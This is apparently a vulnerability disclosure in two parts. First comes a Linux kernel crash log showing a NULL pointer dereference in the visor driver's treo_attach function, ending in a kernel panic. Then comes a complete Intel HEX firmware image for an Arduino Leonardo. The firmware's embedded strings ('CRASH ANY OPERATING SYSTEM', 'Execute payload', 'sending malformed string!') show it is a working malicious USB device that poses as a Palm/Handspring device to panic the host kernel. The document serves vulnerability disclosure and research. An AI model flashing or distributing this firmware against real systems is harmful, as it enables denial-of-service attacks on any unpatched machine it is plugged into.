[ 35.512980] usbserial: USB Serial support registered for Sony Clie 5.0
|
|
[ 35.521056] usbserial: USB Serial support registered for Sony Clie 3.5
|
|
[ 35.535245] visor 1-1:1.0: Handspring Visor / Palm OS converter detected
|
|
[ 35.542409] BUG: unable to handle kernel NULL pointer dereference at
|
|
00000000000000b0
|
|
[ 35.543244] IP: [<ffffffffa0393651>] treo_attach+0x61/0x340 [visor]
|
|
[ 35.543244] PGD 0
|
|
[ 35.543244] Oops: 0002 [#1] SMP
|
|
[ 35.543244] Modules linked in: visor(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT
|
|
xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables
|
|
ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle
|
|
ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat
|
|
nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack
|
|
iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm
|
|
ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4
|
|
i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif
|
|
cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy
|
|
dm_mirror dm_region_hash dm_log dm_mod
|
|
[ 35.543244] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted
|
|
3.10.0-229.14.1.el7.x86_64 #1
|
|
[ 35.543244] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
|
|
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
|
|
[ 35.543244] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
|
|
[ 35.543244] RIP: 0010:[<ffffffffa0393651>] [<ffffffffa0393651>]
|
|
treo_attach+0x61/0x340 [visor]
|
|
[ 35.543244] RSP: 0018:ffff88000bd23a78 EFLAGS: 00010286
|
|
[ 35.543244] RAX: ffff88000003c000 RBX: ffff88000af979c0 RCX: 000000000000a0e2
|
|
[ 35.543244] RDX: 0000000000000000 RSI: 00000000000000d0 RDI: ffff88000e401400
|
|
[ 35.543244] RBP: ffff88000bd23a80 R08: 00000000000164c0 R09: ffff88000e401400
|
|
[ 35.543244] R10: ffffffffa0393636 R11: ffff88000bcd0000 R12: 0000000000000404
|
|
[ 35.543244] R13: ffff88000be6b000 R14: ffff88000af979c0 R15: ffffffffa0395400
|
|
[ 35.543244] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)
|
|
knlGS:0000000000000000
|
|
[ 35.543244] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
|
|
[ 35.543244] CR2: 00000000000000b0 CR3: 000000000c51f000 CR4:
|
|
00000000000006f0
|
|
[ 35.543244] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
|
|
0000000000000000
|
|
[ 35.543244] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
|
|
[ 35.543244] Stack:
|
|
[ 35.543244] ffff88000bcd0090 ffff88000bd23c18 ffffffff8145fed1 0000000000000007
|
|
[ 35.543244] 000000020bd23af8 ffff88000c525830 0000000100000000 ffffffffa0395400
|
|
[ 35.543244] 0000010000000001 ffff88000bcd0000 0000000000000100
|
|
ffff88000bcd0090
|
|
[ 35.543244] Call Trace:
|
|
[ 35.543244] [<ffffffff8145fed1>] usb_serial_probe+0xdb1/0x1230
|
|
[ 35.543244] [<ffffffff812d649c>] ? ida_get_new_above+0x7c/0x2a0
|
|
[ 35.543244] [<ffffffff811aba6a>] ? kmem_cache_alloc+0x1ba/0x1d0
|
|
[ 35.543244] [<ffffffff8123e5b2>] ? sysfs_addrm_finish+0x42/0xe0
|
|
[ 35.543244] [<ffffffff8123e391>] ? __sysfs_add_one+0x61/0x100
|
|
[ 35.543244] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
|
|
[ 35.543244] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
|
|
[ 35.543244] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
|
|
[ 35.543244] [<ffffffff813d3420>] ? __device_attach+0x40/0x40
|
|
[ 35.543244] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
|
|
[ 35.543244] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
|
|
[ 35.543244] [<ffffffff8145ec4b>] usb_serial_register_drivers+0x29b/0x580
|
|
[ 35.543244] [<ffffffffa0398000>] ? 0xffffffffa0397fff
|
|
[ 35.543244] [<ffffffffa039801e>] usb_serial_module_init+0x1e/0x1000 [visor]
|
|
[ 35.543244] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
|
|
[ 35.543244] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
|
|
[ 35.543244] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
|
|
[ 35.543244] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
|
|
[ 35.543244] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
|
|
[ 35.543244] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
|
|
[ 35.543244] Code: e1 ba 50 05 00 00 be d0 00 00 00 e8 4a 84 e1 e0 48 85 c0
|
|
0f 84 e1 02 00 00 48 8b 53 20 48 8b 92 b8 01 00 00 48 89 90 b8 01 00 00 <48>
|
|
89 82 b0 00 00 00 48 8b 53 20 48 8b 92 a8 01 00 00 48 89 90
|
|
[ 35.543244] RIP [<ffffffffa0393651>] treo_attach+0x61/0x340 [visor]
|
|
[ 35.543244] RSP <ffff88000bd23a78>
|
|
[ 35.543244] CR2: 00000000000000b0
|
|
[ 35.973188] ---[ end trace b239663354a1c556 ]---
|
|
[ 35.978862] Kernel panic - not syncing: Fatal exception
|
|
[ 35.979835] drm_kms_helper: panic occurred, switching back to text console
|
|
|
|
Arduino Leonardo Firmware:
|
|
|
|
:100000000C94A8000C94C5000C94C5000C94C50079
|
|
:100010000C94C5000C94C5000C94C5000C94C5004C
|
|
:100020000C94C5000C94C5000C94C4050C942F04CA
|
|
:100030000C94C5000C94C5000C94C5000C94C5002C
|
|
:100040000C94C5000C94C5000C94C5000C94C5001C
|
|
:100050000C94C5000C94C5000C94C5000C940E02C1
|
|
:100060000C94C5000C94C5000C94C5000C94C500FC
|
|
:100070000C94C5000C94C5000C94C5000C94C500EC
|
|
:100080000C94C5000C94C5000C94C5000C94C500DC
|
|
:100090000C94C5000C94C5000C94C5000C94C500CC
|
|
:1000A0000C94C5000C94C5000C94C5000B030E0302
|
|
:1000B000010305032F032F032F03120316031A0353
|
|
:1000C000200324032F032A030000000200080E006F
|
|
:1000D00000030401000B000000000000000000000D
|
|
:1000E00000000000000004080201104080401020C1
|
|
:1000F00040804080080204018040201002011080EE
|
|
:100100001020404004040404040304050202020217
|
|
:1001100004030202020206060606060604040202A0
|
|
:100120000204000000002300260029002C002F00FC
|
|
:1001300000000000250028002B002E0031000000E8
|
|
:100140000000240027002A002D00300000C180811B
|
|
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
|
|
:10016000B1E0E4EDF3E102C005900D92A436B107D1
|
|
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C
|
|
:10018000E1F70E94C8000C9404070C940000089545
|
|
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
|
|
:1001A000DEBF0FBECDBF0E94A1020E94C70060E06B
|
|
:1001B00083E00E94300361E087E00E94300361E049
|
|
:1001C00088E00E9430030E9459067E012AE9E20E6F
|
|
:1001D000F11C84E093E0D70111969C938E9389E003
|
|
:1001E00094E013969C938E93129782E2E2E1F1E001
|
|
:1001F0009E012F5F3F4F6901D90101900D928A95B1
|
|
:10020000E1F788E1E4E3F1E0DE01939601900D92DD
|
|
:100210008A95E1F782E1ECE4F1E0DE01DB96019002
|
|
:100220000D928A95E1F789E0EEE5F1E0DE01A05953
|
|
:10023000BF4F01900D928A95E1F72A593F4F99E0FF
|
|
:10024000992ED901E92D1D92EA95E9F78E010957FA
|
|
:100250001F4F87E0E7E6F1E0D80101900D928A9503
|
|
:10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189
|
|
:1002700001900D928A95E1F7AE0147585F4F87E0F4
|
|
:10028000E5E7F1E0DA0101900D928A95E1F75E0170
|
|
:10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D
|
|
:1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172
|
|
:1002B0001D92EA95E9F7E3E0DC011996EC93D90188
|
|
:1002C0009C92F4E01196FC9311971496EC93F9012B
|
|
:1002D000DC01292D01900D922A95E1F7FE01EC56E3
|
|
:1002E000FF4FDC011B96FC93EE931A971D96BC9270
|
|
:1002F000AE921C971183008373836283558344837A
|
|
:100300000C5211092CE0F80111922A95E9F721E02D
|
|
:10031000D80119962C931997FE01E059FF4F0190CF
|
|
:100320000D929A94E1F7F8019387828761E088E063
|
|
:100330000E9469038BE492E00E94650688E892E0DF
|
|
:100340000E94650687EC92E00E94650686E093E0D5
|
|
:100350000E94650682E493E00E9465068FE793E0C1
|
|
:100360000E94650684EA93E00E9465068BEE93E0A6
|
|
:100370000E94650683E00E949F03892B09F047C015
|
|
:100380005E01F3E2AF0EB11C8824839482E1982EC3
|
|
:1003900084E194E00E946506BF92AF92DF92CF9213
|
|
:1003A000FF92EF921F928F921F930F932DB73EB73C
|
|
:1003B000225131090FB6F8943EBF0FBE2DBFADB725
|
|
:1003C000BEB71196FE01FB96892D01900D928A957C
|
|
:1003D000E1F78DE695E00E94030668E873E180E0AE
|
|
:1003E00090E00E947B028DE695E00E944E0660E060
|
|
:1003F00087E00E94690368E873E180E090E00E9472
|
|
:100400007B020FB6F894DEBF0FBECDBFC1CF6AE04E
|
|
:1004100070E080E090E00E947B02ACCF1F920F92D0
|
|
:100420000FB60F9211242F933F938F939F93AF9307
|
|
:10043000BF938091650590916605A0916705B09185
|
|
:1004400068053091640523E0230F2D3720F40196D1
|
|
:10045000A11DB11D05C026E8230F0296A11DB11DE7
|
|
:10046000209364058093650590936605A0936705C6
|
|
:10047000B09368058091690590916A05A0916B051C
|
|
:10048000B0916C050196A11DB11D809369059093F3
|
|
:100490006A05A0936B05B0936C05BF91AF919F91D6
|
|
:1004A0008F913F912F910F900FBE0F901F90189535
|
|
:1004B0003FB7F8948091690590916A05A0916B050A
|
|
:1004C000B0916C0526B5A89B05C02F3F19F0019689
|
|
:1004D000A11DB11D3FBF6627782F892F9A2F620F6C
|
|
:1004E000711D811D911D42E0660F771F881F991FA6
|
|
:1004F0004A95D1F70895CF92DF92EF92FF92CF9372
|
|
:10050000DF936B017C010E945802EB01C114D104FE
|
|
:10051000E104F10479F00E9458026C1B7D0B683EE7
|
|
:100520007340A0F381E0C81AD108E108F108C8516E
|
|
:10053000DC4FECCFDF91CF91FF90EF90DF90CF9029
|
|
:100540000895789484B5826084BD84B5816084BD4B
|
|
:1005500085B5826085BD85B5816085BDEEE6F0E03C
|
|
:10056000808181608083E1E8F0E010828081826098
|
|
:100570008083808181608083E0E8F0E08081816019
|
|
:100580008083E1E9F0E08081826080838081816006
|
|
:100590008083E0E9F0E0808181608083E1ECF0E03D
|
|
:1005A000808184608083808182608083808181609B
|
|
:1005B0008083E3ECF0E0808181608083E0ECF0E018
|
|
:1005C000808182608083E2ECF0E0808181608083C2
|
|
:1005D000EAE7F0E0808184608083808182608083AC
|
|
:1005E000808181608083808180688083089590E02D
|
|
:1005F000FC013197EE30F10590F5EA5AFF4F0C946B
|
|
:10060000AB09809180008F7703C0809180008F7D3F
|
|
:1006100080938000089584B58F7702C084B58F7D64
|
|
:1006200084BD0895809190008F7707C080919000DD
|
|
:100630008F7D03C080919000877F80939000089504
|
|
:100640008091C0008F7703C08091C0008F7D809320
|
|
:10065000C00008958091C200877F8093C2000895F2
|
|
:10066000CF93DF9390E0FC01EA51FF4F2491FC010E
|
|
:10067000EC5FFE4F8491882349F190E0880F991F29
|
|
:10068000FC01E25CFE4FA591B491805D9E4FFC01A0
|
|
:10069000C591D4919FB7611108C0F8948C912095B1
|
|
:1006A00082238C93888182230AC0623051F4F894AB
|
|
:1006B0008C91322F309583238C938881822B888371
|
|
:1006C00004C0F8948C91822B8C939FBFDF91CF91C3
|
|
:1006D00008950F931F93CF93DF931F92CDB7DEB78B
|
|
:1006E000282F30E0F901E853FF4F8491F901EA51D6
|
|
:1006F000FF4F1491F901EC5FFE4F04910023C9F004
|
|
:10070000882321F069830E94F7026981E02FF0E0DD
|
|
:10071000EE0FFF1FE05DFE4FA591B4919FB7F894D7
|
|
:100720008C91611103C01095812301C0812B8C93A2
|
|
:100730009FBF0F90DF91CF911F910F910895CF939D
|
|
:10074000DF93282F30E0F901E853FF4F8491F9013E
|
|
:10075000EA51FF4FD491F901EC5FFE4FC491CC23D5
|
|
:1007600091F081110E94F702EC2FF0E0EE0FFF1FD5
|
|
:10077000EE5DFE4FA591B4912C912D2381E090E088
|
|
:1007800021F480E002C080E090E0DF91CF910895F5
|
|
:10079000615030F02091F100FC0120830196F8CFE8
|
|
:1007A000289884E680937D0508951092E9001092C0
|
|
:1007B00071051092700590936F0580936E050895F2
|
|
:1007C000FF920F931F93CF93DF93F82E8B01EA01D3
|
|
:1007D000BA01C8010E94A606F80120E030E08EEFC1
|
|
:1007E0002C173D0791F1F7FE02C0A49101C0A08132
|
|
:1007F000609170057091710540916E0550916F0583
|
|
:1008000064177507ACF49091E8009570E1F390914E
|
|
:10081000E80092FD1CC0A093F100A0917005B0917A
|
|
:1008200071051196AF73BB27AB2B11F48093E800D1
|
|
:10083000A0917005B09171051196B0937105A093C8
|
|
:1008400070052F5F3F4F3196CBCFC90102C08FEFAC
|
|
:100850009FEFDF91CF911F910F91FF9008951F920D
|
|
:100860000F920FB60F9211246F927F928F929F92E8
|
|
:10087000AF92BF92CF92DF92EF92FF920F931F93AE
|
|
:100880002F933F934F935F936F937F938F939F9398
|
|
:10089000AF93BF93EF93FF93CF93DF93CDB7DEB7C3
|
|
:1008A0006297DEBFCDBF1092E9008091E80083FF20
|
|
:1008B00046C168E0CE010A960E94C80382EF809389
|
|
:1008C000E8009A8597FF05C08091E80080FFFCCF83
|
|
:1008D00003C08EEF8093E800892F807609F023C152
|
|
:1008E0008B85811105C01092F1001092F10020C19A
|
|
:1008F000282F2D7F213009F41BC1853049F48091C8
|
|
:10090000E80080FFFCCF8C8580688093E30010C1F5
|
|
:10091000863009F0E1C02D8508891989223009F057
|
|
:10092000B3C0EC848E2D90E0209173053091740556
|
|
:10093000821793070CF09FC00E94D5031F92EF927D
|
|
:100940008DE394E09F938F930E9483068CE0E89E52
|
|
:1009500070011124E0917505F0917605EE0DFF1DF3
|
|
:1009600089E0DE01119601900D928A95E1F7C801A8
|
|
:100970000E94D50349E050E0BE016F5F7F4F80E0E9
|
|
:100980000E94E0030F900F900F900F90C12CD12C7C
|
|
:10099000612C712C33E7A32E34E0B32E4AEA842E67
|
|
:1009A00044E0942EE0917505F0917605EE0DFF1D63
|
|
:1009B000818590E0681679060CF0BAC07F926F923C
|
|
:1009C000BF92AF920E948306E0917505F091760583
|
|
:1009D000EE0DFF1D628573856C0D7D1D49E050E0B5
|
|
:1009E00080E00E94E0030F900F900F900F9000E0C6
|
|
:1009F00010E0E0917505F0917605EE0DFF1D028483
|
|
:100A0000F385E02DEC0DFD1D818590E00817190799
|
|
:100A10005CF51F930F939F928F920E948306E09143
|
|
:100A20007505F0917605EE0DFF1D0284F385E02D2E
|
|
:100A3000EC0DFD1DC801880F991FA485B585A80F71
|
|
:100A4000B91F4D915C910284F385E02DE80FF91FE9
|
|
:100A50006081718180E00E94E0030F5F1F4F0F9063
|
|
:100A60000F900F900F90C5CF8FEF681A780A8EE025
|
|
:100A7000C80ED11C97CF8FED94E09F938F930E9467
|
|
:100A800083060F900F9058C0C8012A8B0E94D5038F
|
|
:100A90002A892130C1F0233009F04EC08C851F9285
|
|
:100AA0008F9389EF94E09F938F930E94830642E097
|
|
:100AB00050E062E871E080E00E94E0030F900F9048
|
|
:100AC0000F900F9035C04091000150E060E071E060
|
|
:100AD00080E00E94E0032CC0873071F1883021F45F
|
|
:100AE00081E08093F10024C0893011F5937021F5E5
|
|
:100AF000EDE4F1E081E021E096E38093E9002093CA
|
|
:100B0000EB0034913093EC009093ED008F5F3196C1
|
|
:100B1000843099F78EE78093EA001092EA008C8582
|
|
:100B20008093720505C0888999890E94D50304C005
|
|
:100B30008EEF8093E80003C081E28093EB00629621
|
|
:100B40000FB6F894DEBF0FBECDBFDF91CF91FF91FE
|
|
:100B5000EF91BF91AF919F918F917F916F915F9135
|
|
:100B60004F913F912F911F910F91FF90EF90DF9048
|
|
:100B7000CF90BF90AF909F908F907F906F900F908D
|
|
:100B80000FBE0F901F9018951F920F920FB60F92E5
|
|
:100B900011248F939F938091E1001092E10083FFD5
|
|
:100BA0000FC01092E90091E09093EB001092EC00DE
|
|
:100BB00092E39093ED001092720598E09093F0000C
|
|
:100BC00082FF1AC080917E05882339F080917E05CE
|
|
:100BD000815080937E05882369F080917D0588236C
|
|
:100BE00059F080917D05815080937D05811104C06D
|
|
:100BF000289A02C05D9AF1CF9F918F910F900FBEFE
|
|
:100C00000F901F901895CF93DF93CDB7DEB782E199
|
|
:100C1000FE013596A0E0B1E001900D928A95E1F7D2
|
|
:100C20008F89988D9093760580937505898D9A8D1F
|
|
:100C300090937405809373058B8D9C8D90937C05A8
|
|
:100C400080937B058D8D9E8D90937A058093790599
|
|
:100C50008F8D98A1909378058093770510927205F7
|
|
:100C600081E08093D70080EA8093D80082E189BD3B
|
|
:100C700009B400FEFDCF61E070E080E090E00E94EA
|
|
:100C80007B0280E98093D8008CE08093E200109290
|
|
:100C9000E000559A209ADF91CF91089581E08093EA
|
|
:100CA000E00008959091C80095FFFCCF8093CE009E
|
|
:100CB00008951092CD0087E68093CC0088E1809360
|
|
:100CC000C9008EE08093CA0008950F931F93CF93BD
|
|
:100CD000DF93EC018C01FE0101900020E9F73197D0
|
|
:100CE000EC1BFD0BC8018C1B9D0B8E179F0730F46E
|
|
:100CF000F80181918F010E945206EDCFDF91CF91D3
|
|
:100D00001F910F910895CF93DF93CDB7DEB7DA959A
|
|
:100D10000FB6F894DEBF0FBECDBFFE01EB5FFE4FF6
|
|
:100D2000419151919F0160E071E0CE0101960E94D6
|
|
:100D30000707CE0101960E946506D3950FB6F89479
|
|
:100D4000DEBF0FBECDBFDF91CF9108958F929F92EE
|
|
:100D5000AF92BF92CF92DF92EF92FF920F931F93C9
|
|
:100D6000CF93DF9300D0CDB7DEB75B0122E535E04E
|
|
:100D70003F932F9389839A830E9483068981882ECB
|
|
:100D80009A81992E0F900F9000E010E08EE5E82EEA
|
|
:100D900085E0F82E91E1C92E94E0D92E0A151B05A5
|
|
:100DA000E4F4F40181914F0190E09F938F93FF92BF
|
|
:100DB000EF920E9483060F5F1F4FC8018F70992723
|
|
:100DC0000F900F900F900F90892B41F7DF92CF92E9
|
|
:100DD0000E9483060F900F90E1CF81E194E09F93F2
|
|
:100DE0008F930E9483060F900F900F900F90DF91CA
|
|
:100DF000CF911F910F91FF90EF90DF90CF90BF9018
|
|
:100E0000AF909F908F900895F8940C94E809AEE00D
|
|
:100E1000B0E0EDE0F7E00C94BF098C01CA0146E0B8
|
|
:100E20004C831A83098377FF02C060E070E8615049
|
|
:100E300071097E836D83A901BC01CE0101960E94D8
|
|
:100E400033074D815E8157FD0AC02F8138854217D7
|
|
:100E500053070CF49A01F801E20FF31F10822E964B
|
|
:100E6000E4E00C94DB09ACE0B0E0E9E3F7E00C94DB
|
|
:100E7000B1097C016B018A01FC0117821682838112
|
|
:100E800081FFBDC1CE0101964C01F7019381F601AE
|
|
:100E900093FD859193FF81916F01882309F4ABC184
|
|
:100EA000853239F493FD859193FF81916F018532ED
|
|
:100EB00029F4B70190E00E941B09E7CF512C312C97
|
|
:100EC00020E02032A0F48B3269F030F4803259F007
|
|
:100ED000833269F420612CC08D3239F0803339F4CB
|
|
:100EE000216026C02260246023C0286021C027FD25
|
|
:100EF00027C030ED380F3A3078F426FF06C0FAE00C
|
|
:100F00005F9E300D1124532E13C08AE0389E300DA1
|
|
:100F10001124332E20620CC08E3221F426FD6BC1C9
|
|
:100F2000206406C08C3611F4206802C0883641F473
|
|
:100F3000F60193FD859193FF81916F018111C1CFDE
|
|
:100F4000982F9F7D9554933028F40C5F1F4FFFE33B
|
|
:100F5000F9830DC0833631F0833771F0833509F0A2
|
|
:100F60005BC022C0F801808189830E5F1F4F44243B
|
|
:100F70004394512C540115C03801F2E06F0E711CDE
|
|
:100F8000F801A080B18026FF03C0652D70E002C08B
|
|
:100F90006FEF7FEFC5012C870E9410092C018301A0
|
|
:100FA0002C852F77222E17C03801F2E06F0E711CAE
|
|
:100FB000F801A080B18026FF03C0652D70E002C05B
|
|
:100FC0006FEF7FEFC5012C870E9405092C012C854E
|
|
:100FD0002068222E830123FC1BC0832D90E048163D
|
|
:100FE0005906B0F4B70180E290E00E941B093A94E0
|
|
:100FF000F4CFF50127FC859127FE81915F01B701B0
|
|
:1010000090E00E941B0931103A94F1E04F1A510808
|
|
:101010004114510471F7E5C0843611F0893639F571
|
|
:10102000F80127FF07C060817181828193810C5F85
|
|
:101030001F4F08C060817181882777FD8095982FA8
|
|
:101040000E5F1F4F2F76B22E97FF09C090958095A7
|
|
:10105000709561957F4F8F4F9F4F2068B22E2AE089
|
|
:1010600030E0A4010E944D09A82EA81844C085377D
|
|
:1010700029F42F7EB22E2AE030E025C0F22FF97F2E
|
|
:10108000BF2E8F36C1F018F4883579F0B4C08037A0
|
|
:1010900019F0883721F0AFC02F2F2061B22EB4FE97
|
|
:1010A0000DC08B2D8460B82E09C024FF0AC09F2F6D
|
|
:1010B0009660B92E06C028E030E005C020E130E09F
|
|
:1010C00002C020E132E0F801B7FE07C06081718103
|
|
:1010D000828193810C5F1F4F06C06081718180E027
|
|
:1010E00090E00E5F1F4FA4010E944D09A82EA81882
|
|
:1010F000FB2DFF77BF2EB6FE0BC02B2D2E7FA51428
|
|
:1011000050F4B4FE0AC0B2FC08C02B2D2E7E05C0E0
|
|
:101110007A2C2B2D03C07A2C01C0752C24FF0DC016
|
|
:10112000FE01EA0DF11D8081803311F4297E09C092
|
|
:1011300022FF06C07394739404C0822F867809F04E
|
|
:10114000739423FD13C020FF06C05A2C731418F4A7
|
|
:10115000530C5718732C731468F4B70180E290E0B5
|
|
:101160002C870E941B0973942C85F5CF731410F4FF
|
|
:10117000371801C0312C24FF12C0B70180E390E082
|
|
:101180002C870E941B092C8522FF17C021FF03C05A
|
|
:1011900088E590E002C088E790E0B7010CC0822F9C
|
|
:1011A000867859F021FD02C080E201C08BE227FD64
|
|
:1011B0008DE2B70190E00E941B09A51438F4B70135
|
|
:1011C00080E390E00E941B095A94F7CFAA94F4019F
|
|
:1011D000EA0DF11D8081B70190E00E941B09A1106A
|
|
:1011E000F5CF332009F451CEB70180E290E00E94A0
|
|
:1011F0001B093A94F6CFF7018681978102C08FEFE1
|
|
:101200009FEF2C96E2E10C94CD09FC010590615012
|
|
:1012100070400110D8F7809590958E0F9F1F08950C
|
|
:10122000FC016150704001900110D8F780959095B5
|
|
:101230008E0F9F1F08950F931F93CF93DF93182F47
|
|
:10124000092FEB018B8181FD03C08FEF9FEF20C041
|
|
:1012500082FF10C04E815F812C813D814217530770
|
|
:101260007CF4E881F9819F012F5F3F4F3983288308
|
|
:10127000108306C0E885F985812F0995892B29F708
|
|
:101280002E813F812F5F3F4F3F832E83812F902FF1
|
|
:10129000DF91CF911F910F910895FA01AA2728306D
|
|
:1012A00051F1203181F1E8946F936E7F6E5F7F4F33
|
|
:1012B0008F4F9F4FAF4FB1E03ED0B4E03CD0670FAF
|
|
:1012C000781F891F9A1FA11D680F791F8A1F911D02
|
|
:1012D000A11D6A0F711D811D911DA11D20D009F452
|
|
:1012E00068943F912AE0269F11243019305D319394
|
|
:1012F000DEF6CF010895462F4770405D4193B3E07D
|
|
:101300000FD0C9F7F6CF462F4F70405D4A3318F023
|
|
:10131000495D31FD4052419302D0A9F7EACFB4E0D4
|
|
:10132000A6959795879577956795BA95C9F700978C
|
|
:101330006105710508959B01AC010A2E069457952D
|
|
:10134000479537952795BA95C9F7620F731F841F84
|
|
:10135000951FA01D0895EE0FFF1F0590F491E02D3D
|
|
:1013600009942F923F924F925F926F927F928F9249
|
|
:101370009F92AF92BF92CF92DF92EF92FF920F9324
|
|
:101380001F93CF93DF93CDB7DEB7CA1BDB0B0FB62E
|
|
:10139000F894DEBF0FBECDBF09942A8839884888EB
|
|
:1013A0005F846E847D848C849B84AA84B984C88481
|
|
:1013B000DF80EE80FD800C811B81AA81B981CE0F78
|
|
:1013C000D11D0FB6F894DEBF0FBECDBFED0108955D
|
|
:0413D000F894FFCFBF
|
|
:1013D4001201000200000040AD0BEFBE000101024B
|
|
:1013E4000001220342006100640020004200410029
|
|
:1013F40042004500250078002500780025006E0095
|
|
:1014040025007000180342004100440020004300FE
|
|
:10141400300046004600450045002100120100024C
|
|
:10142400000000402D08000200010102030109022E
|
|
:10143400270001010000FA0705810304040C0705D5
|
|
:10144400010204000C0705820104000C07000700D8
|
|
:101454000700480100500072006F006C00690066CC
|
|
:101464000069006300000A550000006BFD180A00C3
|
|
:10147400809F0AB901312B940A8101128946001315
|
|
:10148400000257028B0A5E0AF80A5F01F212010099
|
|
:1014940002010000400D055702000101020301B9D9
|
|
:1014A4000A0100F80A5F0A810A220342006100640B
|
|
:1014B400002000420041004200450025007800253C
|
|
:1014C40000780025006E00250070001803420041DA
|
|
:1014D400004400200043003000460046004500451B
|
|
:1014E40000210012010002010000400D0557020016
|
|
:1014F400010102030109040000030100000003F2DA
|
|
:101504000AEC0A0902270001010000FA01AB0A09EA
|
|
:101514000400000301000000090200202020202014
|
|
:101524005F5F5F5F5F5F5F5F2020202020202020BF
|
|
:1015340020202020202020202020202020202020A7
|
|
:1015440020205F5F5F5F5F205F5F20205F2020209F
|
|
:101554002020205F5F0A0D00202020202F205F5FC5
|
|
:101564005F5F2F202F5F20205F5F5F5F205F5F5FE3
|
|
:101574005F5F20205F5F5F5F5F20202020202F209F
|
|
:101584005F5F5F2F2F202F5F285F295F5F5F5F2FD3
|
|
:10159400202F5F5F0A0D002020202F202F202020E5
|
|
:1015A4002F205F5F205C2F205F5F20602F205F5F14
|
|
:1015B400205C2F205F5F5F2F5F5F5F5F205C5F5F5A
|
|
:1015C400205C2F205F5F2F202F205F5F5F2F202F55
|
|
:1015D4002F5F2F0A0D0020202F202F5F5F5F2F2009
|
|
:1015E4002F202F202F202F5F2F202F202F5F2F2001
|
|
:1015F400285F5F2020292F5F5F5F2F205F5F2F20F0
|
|
:101604002F202F5F2F202F202F5F5F2F202C3C0AAD
|
|
:101614000D0020205C5F5F5F5F2F5F2F202F5F2F07
|
|
:101624005C5F5F2C5F2F5C5F5F5F5F2F5F5F5F5F5F
|
|
:101634002F20202020202F5F5F5F5F2F5C5F5F2FB4
|
|
:101644005F2F5C5F5F5F2F5F2F7C5F7C0A0D002044
|
|
:101654003C3C2043485241534820414E59204F506E
|
|
:1016640045524154494E472053595354454D203E09
|
|
:101674003E0A0D00203C3C202863292053657267F4
|
|
:10168400656A20536368756D696C6F20323031353B
|
|
:101694002C204F70656E536F7572636520536563BC
|
|
:1016A40075726974792052616C66205370656E6E30
|
|
:1016B4006562657267203E3E0A0D000A3E3E205078
|
|
:1016C4007265737320627574746F6E20746F207307
|
|
:1016D4007461727420657865637574696F6E2E2EFB
|
|
:1016E4002E0A0D005B44454255475D2045786563ED
|
|
:1016F400757465207061796C6F616420300A0D0027
|
|
:10170400526563762D446174613A0A0D005B444569
|
|
:101714004255475D200953656E6420436F6E6669C8
|
|
:101724006775726174696F6E44657363726970740E
|
|
:101734006F720928696E6465783A2569292E2E2E00
|
|
:101744000D0A005B44454255475D200953656E64AC
|
|
:1017540020496E74657266616365204465736372C3
|
|
:101764006970746F720928696E7465726661636565
|
|
:101774003A2569292E2E2E0D0A005B444542554711
|
|
:101784005D200953656E6420456E64706F696E74E4
|
|
:101794002044657363726970746F720928656E649E
|
|
:1017A400706F696E743A2569292E2E2E0D0A005B1E
|
|
:1017B40044454255475D203C3C70616E6963206D31
|
|
:1017C4006F64653F3E3E0D0A005B44454255475DEC
|
|
:1017D4002009203E3E20537472696E67204465736D
|
|
:1017E40063726970746F72207265717565737420A9
|
|
:1017F4002D2073656E64696E67206D616C666F720F
|
|
:101804006D656420737472696E67212073657475E5
|
|
:10181400702E7756616C75654C203D3D2025690D11
|
|
:101824000A005B48455844554D505D0A0D0025306B
|
|
:041834003258200006
|
|
:00000001FF |